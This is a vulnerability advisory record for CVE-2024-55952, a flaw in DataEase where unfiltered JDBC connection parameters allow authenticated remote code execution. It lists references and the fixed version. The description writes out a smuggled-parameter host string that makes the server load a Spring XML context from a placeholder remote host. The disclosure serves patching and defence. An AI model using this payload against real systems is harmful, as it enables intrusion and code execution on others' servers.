CVE-2024-55952

CVSS V2 None CVSS V3 None

Description

DataEase is an open source business analytics tool. Authenticated users can remotely execute code through the backend JDBC connection. When constructing the jdbc connection string, the parameters are not filtered. Constructing the host as ip:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://ip:5432/1.xml&a= can trigger the ClassPathXmlApplicationContext construction method. The vulnerability has been fixed in v1.18.27. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Overview

CVE ID
CVE-2024-55952

Assigner
GitHub_M

Vulnerability Status
PUBLISHED

Published Version
2024-12-18T18:49:24.214Z

Last Modified Date
2024-12-18T19:16:19.747Z

Weakness Enumerations

CWE	URL
CWE-20	http://cwe.mitre.org/data/definitions/20.html

References

Reference URL	Reference Tags
https://github.com/dataease/dataease/security/advisories/GHSA-w8qm-xw38-93qw	x_refsource_CONFIRM
https://github.com/dataease/dataease/commit/0db4872a52eccf6e83dd9359aa05db52dd580ec1	x_refsource_MISC

Sources

Source Name	Source URL
NIST	https://nvd.nist.gov/vuln/detail/CVE-2024-55952
MITRE	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-55952

History

Created	Old Value	New Value	Data Type	Notes
2024-12-19 13:20:45				Added to TrackCVE